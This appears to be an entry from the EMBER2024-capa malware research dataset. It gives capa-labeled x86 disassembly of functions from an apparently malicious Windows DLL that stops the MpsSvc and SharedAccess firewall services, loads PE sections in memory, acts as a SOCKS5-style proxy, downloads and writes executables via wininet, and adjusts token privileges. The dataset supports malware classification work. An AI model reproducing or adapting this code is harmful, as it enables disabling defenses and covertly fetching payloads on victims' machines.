joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100064b0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
xor ecx, ecx
push esi
mov ebx, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x1000655e
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
add esi, 0x10
mov eax, dword [esi]
test eax, eax
jne 0x10006514
mov edx, dword [esp + 0x1c]
mov edi, dword [edx + 0x38]
test edi, edi
jle 0x10006540
mov eax, dword [esi - 4]
push 4
push 0x1000
add eax, ebx
push edi
push eax
call ebp
push edi
push 0
push eax
mov dword [esi - 8], eax
call dword [0x1000df94]
jmp 0x1000653d
mov ecx, dword [esi - 4]
push 4
push 0x1000
add ecx, ebx
push eax
push ecx
call ebp
mov ecx, dword [esp + 0x18]
mov edx, dword [esi]
mov edi, eax
mov eax, dword [esi + 4]
add eax, ecx
push edx
push eax
push edi
call dword [0x1000df90]
mov dword [esi - 8], edi
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add esi, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x100064e4
pop edi
pop ebp
pop esi
pop ebx
pop ecx
ret

Function at 0x10006570
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x10006624
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x100065c7
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1000660a
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x1000ccf8]
je 0x100065de
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x100065f7
test al, 0x40
je 0x100065ee
mov ecx, dword [ebx + 0x20]
jmp 0x100065f5
test al, al
jns 0x1000660a
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x1000660a
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x10006594
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10006fe0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push edi
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x1000a260
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edx, edx
mov ecx, 0xc
xor eax, eax
lea edi, [esi + 8]
mov dword [esi + 0x70], edx
mov dword [esi + 0x6c], 0xffffffff
mov dword [esi + 4], edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0xc
xor eax, eax
lea edi, [esi + 0x3a]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x19c]
stosw word es:[edi], ax
mov dword [esi + 0x78], edx
mov dword [esi + 0x7c], edx
mov byte [esi + 0x80], dl
lea edx, [esi + 0x84]
push edx
mov dword [esi + 0x9c], ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret 4

Function at 0x10007160
Capabilities:
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov eax, dword [esp + 0x28]
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea ecx, [esp + 8]
mov esi, eax
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 1
je 0x100071a7
lea edx, [esp + 8]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x100071c0
Capabilities:
Query service status

Disassembly:
sub esp, 0x1c
push edi
mov ecx, 6
xor eax, eax
lea edi, [esp + 8]
mov dword [esp + 4], 0
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x24]
lea eax, [esp + 4]
push eax
push bind
push ecx
push bind
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
pop edi
je 0x1000721a
mov ecx, dword [esp + 4]
xor eax, eax
cmp ecx, 4
sete al
add esp, 0x1c
ret
xor eax, eax
add esp, 0x1c
ret
Function at 0x10007220
Capabilities:
Create tcp socket
Create thread
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x14
push esi
push str.MpsSvc
mov esi, ecx
call fcn.100071c0
add esp, 4
test eax, eax
je 0x10007244
push str.MpsSvc
call fcn.10007160
add esp, 4
push str.SharedAccess
call fcn.100071c0
add esp, 4
test eax, eax
je 0x10007262
push str.SharedAccess
call fcn.10007160
add esp, 4
mov ecx, esi
call fcn.100070e0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x6c], eax
jne 0x10007286
xor al, al
pop esi
add esp, 0x14
ret 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp + 0xa], eax
push ecx
mov dword [esp + 0x12], eax
mov word [esp + 0xc], 2
mov dword [esp + 0x16], eax
mov word [esp + 0x1a], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xa], ax
mov eax, dword [esi + 0x6c]
lea edx, [esp + 8]
push 0x10
push edx
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x100072e1
mov ecx, dword [esi + 0x6c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
pop esi
add esp, 0x14
ret 0x10
mov edx, dword [esi + 0x6c]
push 0x32
push edx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
mov eax, dword [esi + 0x6c]
jne 0x10007305
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
pop esi
add esp, 0x14
ret 0x10
push ebx
push ebp
lea ecx, [esp + 0xc]
push edi
lea edx, [esp + 0x14]
push ecx
push edx
push eax
mov dword [esp + 0x1c], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x16]
push ecx
call dword [sym.imp.WS2_32.dll_ntohs]
mov ebx, dword [esp + 0x30]
and eax, 0xffff
mov dword [esi + 4], eax
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007378
mov ebp, dword [esp + 0x34]
or ecx, 0xffffffff
mov edi, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007378
lea edx, [esi + 8]
mov eax, ebx
sub edx, ebx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x1000735d
lea edx, [esi + 0x3a]
mov eax, ebp
sub edx, ebp
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x1000736e
mov eax, dword [esp + 0x2c]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x100073a3
mov ecx, dword [esi + 0x78]
push 0
push 0
push esi
push 0x100073e0
inc ecx
push 0
push 0
mov dword [esi + 0x7c], eax
mov dword [esi + 0x78], ecx
call edi
mov dword [esi + 0x74], eax
mov ebx, dword [esi + 0x78]
push 0
push 0
push esi
push 0x10007480
inc ebx
push 0
push 0
mov dword [esi + 0x78], ebx
mov byte [esi + 0x80], 1
call edi
pop edi
pop ebp
test eax, eax
mov dword [esi + 0x70], eax
pop ebx
setne al
pop esi
add esp, 0x14
ret 0x10
Function at 0x10007570
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
sub esp, 0x10
xor eax, eax
push ebx
push esi
mov dword [esp + 8], eax
push edi
mov edi, ecx
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
push ecx
mov dword [esp + 0x1c], eax
mov word [esp + 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x24]
mov ebx, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0x12], ax
call ebx
cmp eax, 0xffffffff
push esi
jne 0x100075c8
mov ecx, edi
call fcn.100083f0
test eax, eax
je 0x10007601
push esi
mov ecx, edi
call fcn.100083f0
push eax
call ebx
push 6
push 1
push 2
mov dword [esp + 0x1c], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x20]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x10007601
lea edx, [esp + 0xc]
push 0x10
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000760c
mov eax, dword [esi]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x10
ret 0xc
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x10
ret 0xc

Function at 0x10007620
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x14
push ebp
push 0x1000de68
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebp, eax
test ebp, ebp
je 0x100076e1
push ebx
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [esp + 0x10]
cmp dword [ecx + eax], 0
je 0x100076de
mov edx, dword [esp + 0x28]
xor ebx, ebx
mov byte [edx], 0
cmp word [ebp + 0xa], bx
jle 0x100076d4
test ebx, ebx
jle 0x1000767d
mov edi, dword [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ax, word [0x1000d280]
mov word [edi - 1], ax
mov ecx, dword [ebp + 0xc]
mov edx, dword [esp + 0x10]
mov eax, dword [ecx + edx]
xor ecx, ecx
lea edx, [esp + 0x14]
mov cl, byte [eax + ebx]
push ecx
push 0x1000d27c
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x28]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
movsx eax, word [ebp + 0xa]
cmp ebx, eax
jl 0x10007664
add dword [esp + 0x10], 4
jmp 0x10007644
pop edi
pop esi
pop ebx
mov eax, dword [esp + 0x1c]
pop ebp
add esp, 0x14
ret
Function at 0x100076f0
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000773e
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1000775b
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.10007620
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret

Function at 0x100077b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x100077eb
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x100077f2
sub esi, eax
add edi, eax
test esi, esi
jg 0x100077c6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
Function at 0x100081e0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x208
push ebx
mov ebx, dword [esp + 0x214]
push ebp
push esi
mov al, byte [ebx]
push edi
cmp al, 5
mov dword [esp + 0x14], ecx
mov byte [esp + 0x12], 5
mov byte [esp + 0x13], 0
je 0x10008217
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x208
ret 0xc
mov al, byte [ebx + 2]
lea esi, [ebx + 2]
test al, al
je 0x10008234
cmp al, 2
je 0x10008234
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x208
ret 0xc
lea ebp, [ecx + 8]
or ecx, 0xffffffff
mov edi, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x16]
and ecx, 2
push 2
mov byte [esp + 0x1b], cl
mov ecx, dword [esp + 0x224]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1000827a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x208
ret 0xc
cmp byte [esp + 0x13], 2
jne 0x100083d4
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x18]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x11c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x220]
push 0x5000
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100083c5
test eax, eax
je 0x100083c5
cmp byte [ebx], 1
je 0x100082dc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x208
ret 0xc
mov al, byte [ebx + 1]
test al, al
je 0x10008305
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x10008305
mov edx, ecx
lea edi, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebx
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x10008334
cmp ecx, 0x100
jg 0x10008334
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x118]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x18]
mov eax, ebp
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000835e
test cl, cl
je 0x1000835a
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000835e
add eax, 2
add esi, 2
test cl, cl
jne 0x1000833a
xor eax, eax
jmp 0x10008363
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100083a7
mov eax, dword [esp + 0x14]
lea esi, [esp + 0x118]
add eax, 0x3a
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10008399
test cl, cl
je 0x10008395
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10008399
add eax, 2
add esi, 2
test cl, cl
jne 0x10008375
xor eax, eax
jmp 0x1000839e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100083a7
mov byte [ebx + 1], al
jmp 0x100083ab
mov byte [ebx + 1], 0xff
mov eax, dword [esp + 0x21c]
push 0
push 2
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100083d4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x208
ret 0xc
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x100083f0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10008402
ret 4
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [esp + 4], eax
jmp dword [sym.imp.WS2_32.dll_inet_ntoa]

Function at 0x100085b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push eax
push esi
push edi
mov ebx, ecx
call fcn.100081e0
test eax, eax
je 0x10008638
cmp eax, 4
jne 0x100085d8
pop edi
pop esi
pop ebx
ret 0x14
mov ecx, dword [edi]
push 0
push 0x5000
push esi
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10008638
test eax, eax
je 0x10008638
cmp byte [esi], 5
jne 0x10008638
mov cl, byte [esi + 3]
cmp cl, 1
je 0x10008604
cmp cl, 3
jne 0x10008638
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
mov ecx, ebx
call fcn.10008420
test eax, eax
je 0x10008638
mov al, byte [esi + 1]
cmp al, 1
je 0x1000862d
cmp al, 3
jne 0x10008638
pop edi
pop esi
and eax, 0xff
pop ebx
ret 0x14
pop edi
pop esi
xor eax, eax
pop ebx
ret 0x14

Function at 0x100086e0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x20]
lea ecx, [esp + 8]
push eax
mov eax, dword [esp + 0x20]
push ecx
push 0x10008650
push edx
push eax
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov ecx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x10008750
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 5]
mov byte [esp + 4], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [esp + 4]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x1000d2ac]
repne scasb al, byte es:[edi]
mov ecx, dword [str.ini.ini]
mov al, byte [0x1000d2b0]
dec edi
mov dword [edi], ecx
lea ecx, [esp + 4]
push ecx
mov dword [edi + 4], edx
mov edx, dword [esp + 0x118]
push edx
mov byte [edi + 8], al
mov eax, dword [esp + 0x118]
push eax
push 0x1000ca48
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
add esp, 0x104
ret
Function at 0x100087d0
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x104
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 5]
mov byte [esp + 4], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [esp + 4]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x1000d2ac]
repne scasb al, byte es:[edi]
mov ecx, dword [str.ini.ini]
mov al, byte [0x1000d2b0]
dec edi
mov dword [edi], ecx
lea ecx, [esp + 4]
push ecx
mov ecx, dword [esp + 0x118]
mov dword [edi + 4], edx
mov edx, dword [esp + 0x120]
push edx
mov edx, dword [esp + 0x118]
mov byte [edi + 8], al
mov eax, dword [esp + 0x120]
push eax
push ecx
push edx
push 0x1000ca48
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
pop edi
add esp, 0x104
ret

Function at 0x10008890
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000a268
push 0x100092f2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x128
push ebx
push esi
push edi
push str.user32.dll
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebx
mov edi, eax
mov dword [ebp - 0x1c], edi
push str.GetThreadDesktop
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x20], eax
push str.GetUserObjectInformationA
push edi
call esi
mov dword [ebp - 0x24], eax
push str.SetThreadDesktop
push edi
call esi
mov dword [ebp - 0x28], eax
push str.CloseDesktop
push edi
call esi
mov dword [ebp - 0x2c], eax
push str.kernel32.dll
call ebx
mov ebx, eax
mov dword [ebp - 0x30], ebx
push str.GetCurrentThreadId
push ebx
call esi
call eax
push eax
call dword [ebp - 0x20]
mov esi, eax
mov dword [ebp - 0x34], 1
mov dword [ebp - 4], 0
lea eax, [ebp - 0x38]
push eax
push 0x100
lea ecx, [ebp - 0x138]
push ecx
push 2
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x24]
test eax, eax
jne 0x10008946
mov dword [ebp - 0x34], eax
jmp 0x1000895a
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x28]
test eax, eax
jne 0x10008956
mov dword [ebp - 0x34], eax
jmp 0x1000895a
push esi
call dword [ebp - 0x2c]
mov dword [ebp - 4], 0xffffffff
call fcn.10008980
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100089e0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call dword [0x1000df04]
push 0x128
mov edi, eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10008a59
mov ebp, dword [esp + 0x14]
lea ebx, [esi + 0x24]
push ebp
push ebx
call fcn.100089a0
add esp, 8
test eax, eax
push esi
jne 0x10008a38
mov edi, dword [esi + 8]
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10008a59
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
push esi
je 0x10008a26
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10008a42
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x10008b40
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push str.wininet.dll
mov dword [esp + 0x18], ebx
mov dword [esp + 0x24], ebx
mov ebp, 1
mov byte [esp + 0x17], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call edi
push ebx
push ebx
push ebx
push ebx
push str.MSIE_6.0
call eax
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x1c], ebx
je 0x10008bb2
push str.InternetOpenUrlA
push esi
call edi
mov ecx, dword [esp + 0x428]
push 0
push bind
push 0
push 0
push ecx
push ebx
call eax
mov ebx, eax
test ebx, ebx
jne 0x10008bca
test esi, esi
je 0x10008bbd
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov edx, dword [esp + 0x42c]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x10008c63
push 0x400
lea eax, [esp + 0x28]
push 0
push eax
call dword [0x1000df94]
add esp, 0xc
push str.InternetReadFile
push esi
call edi
lea ecx, [esp + 0x14]
lea edx, [esp + 0x24]
push ecx
push 0x400
push edx
push ebx
call eax
test ebp, ebp
je 0x10008c2c
cmp word [esp + 0x24], 0x5a4d
jne 0x10008c53
mov ecx, dword [esp + 0x14]
xor ebp, ebp
lea eax, [esp + 0x20]
push ebp
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x2c]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
test eax, eax
ja 0x10008bf0
jmp 0x10008c58
mov byte [esp + 0x13], 0
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call edi
mov edi, eax
push ebx
call edi
mov edx, dword [esp + 0x1c]
push edx
call edi
test esi, esi
je 0x10008c8a
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x414
ret
Function at 0x10008ca0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x10008d0e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x10008d65
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x10008d7d
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x10008d88
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret